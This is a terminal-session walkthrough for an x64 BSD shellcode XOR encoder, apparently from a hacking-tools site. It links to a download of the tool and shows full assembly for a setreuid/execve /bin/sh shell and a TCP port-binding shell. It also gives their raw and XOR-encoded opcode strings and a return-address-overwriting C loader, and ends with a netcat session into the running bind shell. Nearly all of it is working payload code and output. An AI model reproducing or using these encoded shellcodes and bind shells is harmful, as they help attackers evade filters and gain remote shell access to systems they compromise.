http://lucifer.phiral.net/x64_bsd_encoder.tgz

To get it working you have to perl -e 'print <yourshellcode>;' > sc.bin 
in the same directory.

[[email protected] ~/code/encoder/mine/works/final]$ ls
encoder.c		hello_world.s		shell.s
exec-sc.c		portbind.s		
get-sc.sh		sc.sh			x64_bsd_encoder.tgz

Do a simple example for hello_world.s:

[[email protected] ~/code/encoder/mine/works/final]$ as hello_world.s -o hello_world.o
[[email protected] ~/code/encoder/mine/works/final]$ ld hello_world.o -o hello_world 
[[email protected] ~/code/encoder/mine/works/final]$ ./hello_world 
Hello, World!
[[email protected] ~/code/encoder/mine/works/final]$ objdump -d hello_world

hello_world:     file format elf64-x86-64

Disassembly of section .text:

00000000004000b0 <_start>:
  4000b0:	90                   	nop    
  4000b1:	6a 04                	pushq  $0x4
  4000b3:	58                   	pop    %rax
  4000b4:	6a 01                	pushq  $0x1
  4000b6:	5f                   	pop    %rdi
  4000b7:	48 b9 6f 72 6c 64 21 	mov    $0xaaaa0a21646c726f,%rcx
  4000be:	0a aa aa 
  4000c1:	51                   	push   %rcx
  4000c2:	48 b9 48 65 6c 6c 6f 	mov    $0x57202c6f6c6c6548,%rcx
  4000c9:	2c 20 57 
  4000cc:	51                   	push   %rcx
  4000cd:	48 31 db             	xor    %rbx,%rbx
  4000d0:	48 31 c9             	xor    %rcx,%rcx
  4000d3:	b9 0e 00 00 00       	mov    $0xe,%ecx
  4000d8:	66 89 1c 0c          	mov    %bx,(%rsp,%rcx,1)
  4000dc:	48 89 e6             	mov    %rsp,%rsi
  4000df:	6a 0e                	pushq  $0xe
  4000e1:	5a                   	pop    %rdx
  4000e2:	cd 80                	int    $0x80
  4000e4:	59                   	pop    %rcx
  4000e5:	59                   	pop    %rcx
  4000e6:	6a 01                	pushq  $0x1
  4000e8:	58                   	pop    %rax
  4000e9:	6a 00                	pushq  $0x0
  4000eb:	5f                   	pop    %rdi
  4000ec:	cd 80                	int    $0x80

Use the shell script get-sc.sh to get the opcodes:

[[email protected] ~/code/encoder/mine/works/final]$ ./get-sc.sh hello_world
"\x90\x6a\x04\x58\x6a\x01\x5f\x48\xb9\x6f\x72\x6c\x64\x21\x0a\xaa\xaa\x51\x48\xb9\x48\x65\x6c\x6c\x6f\x2c\x20\x57\x51\x48\x31\xdb\x48\x31\xc9\xb9\x0e\x00\x00\x00\x66\x89\x1c\x0c\x48\x89\xe6\x6a\x0e\x5a\xcd\x80\x59\x59\x6a\x01\x58\x6a\x00\x5f\xcd\x80"

Perl print that string to a sc.bin "binary" file:

[[email protected] ~/code/encoder/mine/works/final]$ perl -e 'print "\x90\x6a\x04\x58\x6a\x01\x5f\x48\xb9\x6f\x72\x6c\x64\x21\x0a\xaa\xaa\x51\x48\xb9\x48\x65\x6c\x6c\x6f\x2c\x20\x57\x51\x48\x31\xdb\x48\x31\xc9\xb9\x0e\x00\x00\x00\x66\x89\x1c\x0c\x48\x89\xe6\x6a\x0e\x5a\xcd\x80\x59\x59\x6a\x01\x58\x6a\x00\x5f\xcd\x80";' > sc.bin

Compile encoder:

[[email protected] ~/code/encoder/mine/works/final]$ gcc encode.c -o encode

[[email protected] ~/code/encoder/mine/works/final]$ ./encode 

/*************************************/
/*                                   */
/* entropy [at] phiral.net           */
/* simple shellcode xor encoder      */
/*                                   */
/*************************************/

"\x4d\x31\xc0\x41\xb1\x02\xeb\x1a\x58\x48\x31\xc9\x48\x31\xdb"
"\x8a\x1c\x08\x4c\x39\xc3\x74\x10\x44\x30\xcb\x88\x1c\x08\x48"
"\xff\xc1\xeb\xed\xe8\xe1\xff\xff\xff\x92\x68\x06\x5a\x68\x03"
"\x5d\x4a\xbb\x6d\x70\x6e\x66\x23\x08\xa8\xa8\x53\x4a\xbb\x4a"
"\x67\x6e\x6e\x6d\x2e\x22\x55\x53\x4a\x33\xd9\x4a\x33\xcb\xbb"
"\x0c\x02\x02\x02\x64\x8b\x1e\x0e\x4a\x8b\xe4\x68\x0c\x58\xcf"
"\x82\x5b\x5b\x68\x03\x5a\x68\x02\x5d\xcf\x82"

Test out the XOR'ed shellcode and loader:

[[email protected] ~/code/encoder/mine/works/final]$ cat exec-sc.c 
unsigned char sc[] = "\x4d\x31\xc0\x41\xb1\x02\xeb\x1a\x58\x48\x31\xc9\x48\x31\xdb"
"\x8a\x1c\x08\x4c\x39\xc3\x74\x10\x44\x30\xcb\x88\x1c\x08\x48"
"\xff\xc1\xeb\xed\xe8\xe1\xff\xff\xff\x92\x68\x06\x5a\x68\x03"
"\x5d\x4a\xbb\x6d\x70\x6e\x66\x23\x08\xa8\xa8\x53\x4a\xbb\x4a"
"\x67\x6e\x6e\x6d\x2e\x22\x55\x53\x4a\x33\xd9\x4a\x33\xcb\xbb"
"\x0c\x02\x02\x02\x64\x8b\x1e\x0e\x4a\x8b\xe4\x68\x0c\x58\xcf"
"\x82\x5b\x5b\x68\x03\x5a\x68\x02\x5d\xcf\x82";

void main(void) {
   int *ret;
   ret = (int *)&ret + 4;
   (*ret) = (int)sc;

}

[[email protected] ~/code/encoder/mine/works/final]$ gcc exec-sc.c -o exec-sc  
exec-sc.c: In function 'main':
exec-sc.c:12: warning: cast from pointer to integer of different size
exec-sc.c:9: warning: return type of 'main' is not 'int'
[[email protected] ~/code/encoder/mine/works/final]$ ./exec-sc
Hello, World!

Try it with a shell:

[[email protected] ~/code/encoder/mine/works/final]$ cat shell.s
.section .rodata
.equ KERN, 0x80
.equ SYS_EXECVE, 59
.equ SYS_SETREUID, 126

.section .text
.globl _start
_start:

    pushq $SYS_SETREUID; popq %rax
    xorq %rdi, %rdi
    xorq %rsi, %rsi
    int $KERN

    pushq $SYS_EXECVE; popq %rax
    xorq %rcx, %rcx
    pushq %rcx
    movq %rsp, %rsi
    movq $0xAA68732f6e69622f, %rcx
    pushq %rcx
    movq %rsp, %rdi

    # have to over write that AA with a 0
    xorq %rbx, %rbx
    xorq %rcx, %rcx

    movb $7, %cl
    movb %bl, (%rsp, %rcx, 1)

    xorq %rdx, %rdx 
    int $KERN

[[email protected] ~/code/encoder/mine/works/final]$ as shell.s -o shell.o 
[[email protected] ~/code/encoder/mine/works/final]$ ld shell.o -o shell 
[[email protected] ~/code/encoder/mine/works/final]$ ./get-sc.sh shell
"\x6a\x7e\x58\x48\x31\xff\x48\x31\xf6\xcd\x80\x6a\x3b\x58\x48\x31\xc9\x51\x48\x89\xe6\x48\xb9\x2f\x62\x69\x6e\x2f\x73\x68\xaa\x51\x48\x89\xe7\x48\x31\xdb\x48\x31\xc9\xb1\x07\x88\x1c\x0c\x48\x31\xd2\xcd\x80"

[[email protected] ~/code/encoder/mine/works/final]$ perl -e 'print "\x6a\x7e\x58\x48\x31\xff\x48\x31\xf6\xcd\x80\x6a\x3b\x58\x48\x31\xc9\x51\x48\x89\xe6\x48\xb9\x2f\x62\x69\x6e\x2f\x73\x68\xaa\x51\x48\x89\xe7\x48\x31\xdb\x48\x31\xc9\xb1\x07\x88\x1c\x0c\x48\x31\xd2\xcd\x80";' > sc.bin

[[email protected] ~/code/encoder/mine/works/final]$ ./encode 

/*************************************/
/*                                   */
/* entropy [at] phiral.net           */
/* simple shellcode xor encoder      */
/*                                   */
/*************************************/

"\x4d\x31\xc0\x41\xb1\x01\xeb\x1a\x58\x48\x31\xc9\x48\x31\xdb"
"\x8a\x1c\x08\x4c\x39\xc3\x74\x10\x44\x30\xcb\x88\x1c\x08\x48"
"\xff\xc1\xeb\xed\xe8\xe1\xff\xff\xff\x6b\x7f\x59\x49\x30\xfe"
"\x49\x30\xf7\xcc\x81\x6b\x3a\x59\x49\x30\xc8\x50\x49\x88\xe7"
"\x49\xb8\x2e\x63\x68\x6f\x2e\x72\x69\xab\x50\x49\x88\xe6\x49"
"\x30\xda\x49\x30\xc8\xb0\x06\x89\x1d\x0d\x49\x30\xd3\xcc\x81"

[[email protected] ~/code/encoder/mine/works/final]$ cat exec-sc.c
unsigned char sc[] = "\x4d\x31\xc0\x41\xb1\x01\xeb\x1a\x58\x48\x31\xc9\x48\x31\xdb"
"\x8a\x1c\x08\x4c\x39\xc3\x74\x10\x44\x30\xcb\x88\x1c\x08\x48"
"\xff\xc1\xeb\xed\xe8\xe1\xff\xff\xff\x6b\x7f\x59\x49\x30\xfe"
"\x49\x30\xf7\xcc\x81\x6b\x3a\x59\x49\x30\xc8\x50\x49\x88\xe7"
"\x49\xb8\x2e\x63\x68\x6f\x2e\x72\x69\xab\x50\x49\x88\xe6\x49"
"\x30\xda\x49\x30\xc8\xb0\x06\x89\x1d\x0d\x49\x30\xd3\xcc\x81";

void main(void) {
   int *ret;
   ret = (int *)&ret + 4;
   (*ret) = (int)sc;

}

[[email protected] ~/code/encoder/mine/works/final]$ gcc exec-sc.c -o exec-sc
exec-sc.c: In function 'main':
exec-sc.c:11: warning: cast from pointer to integer of different size
exec-sc.c:8: warning: return type of 'main' is not 'int'
[[email protected] ~/code/encoder/mine/works/final]$ ./exec-sc 
$ id

Try it with some portbind code:

[[email protected] ~/code/encoder/mine/works/final]$ cat portbind.s
.section .rodata
.equ KERN, 0x80
.equ SYS_SOCKET, 97
.equ SYS_BIND, 104
.equ SYS_LISTEN, 106
.equ SYS_ACCEPT, 30
.equ SYS_DUP2, 90
.equ SYS_EXECVE, 59
.equ SYS_EXIT,1
.equ SOCKADDR_IN_SIZE, 16
.equ PF_INET, 2
.equ AF_INET, 2
.equ SOCK_STREAM, 1
.equ IPPROTO_TCP, 6
.equ INADDR_ANY, 0
.equ STDIN, 0
.equ STDOUT, 1
.equ STDERR, 2
.equ PORT, 2586

.section .text
.globl _start
_start:
    nop

    # socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)
    pushq $SYS_SOCKET; popq %rax
    pushq $PF_INET; popq %rdi		
    pushq $SOCK_STREAM; popq %rsi
    pushq $IPPROTO_TCP; popq %rdx
    int $KERN
    xorq %r8, %r8
    movl %eax, %r8d

    # bind(listen_socket, (struct sockaddr *)&s, sizeof(s));
    xorq %r10, %r10
    pushq %r10
    pushq %r10 
    xorq %rcx, %rcx
    movb $1, %cl
    movb $AF_INET, (%rsp, %rcx, 1)
    movb $2, %cl
    movw $PORT, (%rsp, %rcx, 1)

    pushq $SYS_BIND; popq %rax
    pushq %r8; pop %rdi
    movq %rsp, %rsi
    pushq $SOCKADDR_IN_SIZE; popq %rdx
    int $KERN

    # listen(listen_socket, 1)
    pushq $SYS_LISTEN; popq %rax
    pushq %r8; popq %rdi
    pushq $1; popq %rsi
    int $KERN

    # accept
    pushq $SYS_ACCEPT; popq %rax
    pushq %r8; popq %rdi
    movq %rsp, %rsi
    xorq %rcx, %rcx
    movb $16, %cl
    pushq %rcx
    movq %rsp, %rdx
    int $KERN
    popq %rcx
    xorq %r9, %r9
    movl %eax, %r9d

    # dup2 these rich whores
    pushq $SYS_DUP2; popq %rax
    movl %r9d, %edi
    xorq %rsi, %rsi
    int $KERN

    pushq $SYS_DUP2; popq %rax
    movl %r9d, %edi
    pushq $STDOUT; popq %rsi
    int $KERN

    pushq $SYS_DUP2; popq %rax
    movl %r9d, %edi
    pushq $STDERR; popq %rsi
    int $KERN

    pushq $SYS_EXECVE; popq %rax
    xorq %rcx, %rcx
    pushq %rcx
    movq %rsp, %rsi
    movq $0xAA68732f6e69622f, %rcx
    pushq %rcx
    movq %rsp, %rdi

    # have to over write that AA with a 0
    xorq %rbx, %rbx
    xorq %rcx, %rcx

    movb $7, %cl
    movb %bl, (%rsp, %rcx, 1)

    xorq %rdx, %rdx 
    int $KERN

    # _exit(0)    
    pushq $1; popq %rax
    xorq %rdi, %rdi
    int $KERN

[[email protected] ~/code/encoder/mine/works/final]$ as portbind.s -o portbind.o
[[email protected] ~/code/encoder/mine/works/final]$ ld portbind.o -o portbind
[[email protected] ~/code/encoder/mine/works/final]$ ./get-sc.sh portbind
"\x90\x6a\x61\x58\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\xcd\x80\x4d\x31\xc0\x41\x89\xc0\x4d\x31\xd2\x41\x52\x41\x52\x48\x31\xc9\xb1\x01\xc6\x04\x0c\x02\xb1\x02\x66\xc7\x04\x0c\x1a\x0a\x6a\x68\x58\x41\x50\x5f\x48\x89\xe6\x6a\x10\x5a\xcd\x80\x6a\x6a\x58\x41\x50\x5f\x6a\x01\x5e\xcd\x80\x6a\x1e\x58\x41\x50\x5f\x48\x89\xe6\x48\x31\xc9\xb1\x10\x51\x48\x89\xe2\xcd\x80\x59\x4d\x31\xc9\x41\x89\xc1\x6a\x5a\x58\x44\x89\xcf\x48\x31\xf6\xcd\x80\x6a\x5a\x58\x44\x89\xcf\x6a\x01\x5e\xcd\x80\x6a\x5a\x58\x44\x89\xcf\x6a\x02\x5e\xcd\x80\x6a\x3b\x58\x48\x31\xc9\x51\x48\x89\xe6\x48\xb9\x2f\x62\x69\x6e\x2f\x73\x68\xaa\x51\x48\x89\xe7\x48\x31\xdb\x48\x31\xc9\xb1\x07\x88\x1c\x0c\x48\x31\xd2\xcd\x80\x6a\x01\x58\x48\x31\xff\xcd\x80"

[[email protected] ~/code/encoder/mine/works/final]$ perl -e 'print "\x90\x6a\x61\x58\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\xcd\x80\x4d\x31\xc0\x41\x89\xc0\x4d\x31\xd2\x41\x52\x41\x52\x48\x31\xc9\xb1\x01\xc6\x04\x0c\x02\xb1\x02\x66\xc7\x04\x0c\x1a\x0a\x6a\x68\x58\x41\x50\x5f\x48\x89\xe6\x6a\x10\x5a\xcd\x80\x6a\x6a\x58\x41\x50\x5f\x6a\x01\x5e\xcd\x80\x6a\x1e\x58\x41\x50\x5f\x48\x89\xe6\x48\x31\xc9\xb1\x10\x51\x48\x89\xe2\xcd\x80\x59\x4d\x31\xc9\x41\x89\xc1\x6a\x5a\x58\x44\x89\xcf\x48\x31\xf6\xcd\x80\x6a\x5a\x58\x44\x89\xcf\x6a\x01\x5e\xcd\x80\x6a\x5a\x58\x44\x89\xcf\x6a\x02\x5e\xcd\x80\x6a\x3b\x58\x48\x31\xc9\x51\x48\x89\xe6\x48\xb9\x2f\x62\x69\x6e\x2f\x73\x68\xaa\x51\x48\x89\xe7\x48\x31\xdb\x48\x31\xc9\xb1\x07\x88\x1c\x0c\x48\x31\xd2\xcd\x80\x6a\x01\x58\x48\x31\xff\xcd\x80";' > sc.bin
[[email protected] ~/code/encoder/mine/works/final]$ ./encode

/*************************************/
/*                                   */
/* entropy [at] phiral.net           */
/* simple shellcode xor encoder      */
/*                                   */
/*************************************/

"\x4d\x31\xc0\x41\xb1\x03\xeb\x1a\x58\x48\x31\xc9\x48\x31\xdb"
"\x8a\x1c\x08\x4c\x39\xc3\x74\x10\x44\x30\xcb\x88\x1c\x08\x48"
"\xff\xc1\xeb\xed\xe8\xe1\xff\xff\xff\x93\x69\x62\x5b\x69\x01"
"\x5c\x69\x02\x5d\x69\x05\x59\xce\x83\x4e\x32\xc3\x42\x8a\xc3"
"\x4e\x32\xd1\x42\x51\x42\x51\x4b\x32\xca\xb2\x02\xc5\x07\x0f"
"\x01\xb2\x01\x65\xc4\x07\x0f\x19\x09\x69\x6b\x5b\x42\x53\x5c"
"\x4b\x8a\xe5\x69\x13\x59\xce\x83\x69\x69\x5b\x42\x53\x5c\x69"
"\x02\x5d\xce\x83\x69\x1d\x5b\x42\x53\x5c\x4b\x8a\xe5\x4b\x32"
"\xca\xb2\x13\x52\x4b\x8a\xe1\xce\x83\x5a\x4e\x32\xca\x42\x8a"
"\xc2\x69\x59\x5b\x47\x8a\xcc\x4b\x32\xf5\xce\x83\x69\x59\x5b"
"\x47\x8a\xcc\x69\x02\x5d\xce\x83\x69\x59\x5b\x47\x8a\xcc\x69"
"\x01\x5d\xce\x83\x69\x38\x5b\x4b\x32\xca\x52\x4b\x8a\xe5\x4b"
"\xba\x2c\x61\x6a\x6d\x2c\x70\x6b\xa9\x52\x4b\x8a\xe4\x4b\x32"
"\xd8\x4b\x32\xca\xb2\x04\x8b\x1f\x0f\x4b\x32\xd1\xce\x83\x69"
"\x02\x5b\x4b\x32\xfc\xce\x83"

[[email protected] ~/code/encoder/mine/works/final]$ cat exec-sc.c
unsigned char sc[] = "\x4d\x31\xc0\x41\xb1\x03\xeb\x1a\x58\x48\x31\xc9\x48\x31\xdb"
"\x8a\x1c\x08\x4c\x39\xc3\x74\x10\x44\x30\xcb\x88\x1c\x08\x48"
"\xff\xc1\xeb\xed\xe8\xe1\xff\xff\xff\x93\x69\x62\x5b\x69\x01"
"\x5c\x69\x02\x5d\x69\x05\x59\xce\x83\x4e\x32\xc3\x42\x8a\xc3"
"\x4e\x32\xd1\x42\x51\x42\x51\x4b\x32\xca\xb2\x02\xc5\x07\x0f"
"\x01\xb2\x01\x65\xc4\x07\x0f\x19\x09\x69\x6b\x5b\x42\x53\x5c"
"\x4b\x8a\xe5\x69\x13\x59\xce\x83\x69\x69\x5b\x42\x53\x5c\x69"
"\x02\x5d\xce\x83\x69\x1d\x5b\x42\x53\x5c\x4b\x8a\xe5\x4b\x32"
"\xca\xb2\x13\x52\x4b\x8a\xe1\xce\x83\x5a\x4e\x32\xca\x42\x8a"
"\xc2\x69\x59\x5b\x47\x8a\xcc\x4b\x32\xf5\xce\x83\x69\x59\x5b"
"\x47\x8a\xcc\x69\x02\x5d\xce\x83\x69\x59\x5b\x47\x8a\xcc\x69"
"\x01\x5d\xce\x83\x69\x38\x5b\x4b\x32\xca\x52\x4b\x8a\xe5\x4b"
"\xba\x2c\x61\x6a\x6d\x2c\x70\x6b\xa9\x52\x4b\x8a\xe4\x4b\x32"
"\xd8\x4b\x32\xca\xb2\x04\x8b\x1f\x0f\x4b\x32\xd1\xce\x83\x69"
"\x02\x5b\x4b\x32\xfc\xce\x83";

void main(void) {
   int *ret;
   ret = (int *)&ret + 4;
   (*ret) = (int)sc;

}

[[email protected] ~/code/encoder/mine/works/final]$ gcc exec-sc.c -o exec-sc
exec-sc.c: In function 'main':
exec-sc.c:20: warning: cast from pointer to integer of different size
exec-sc.c:17: warning: return type of 'main' is not 'int'
[[email protected] ~/code/encoder/mine/works/final]$ ./exec-sc 

[[email protected] ~]$ nc 127.0.0.1 6666
ls
a.out
encode
encoder
encoder.c
exec-sc
exec-sc.c
get-sc.sh
hello_world.s
loader
portbind
portbind.o
portbind.s
sc.bin
sc.sh
shell.s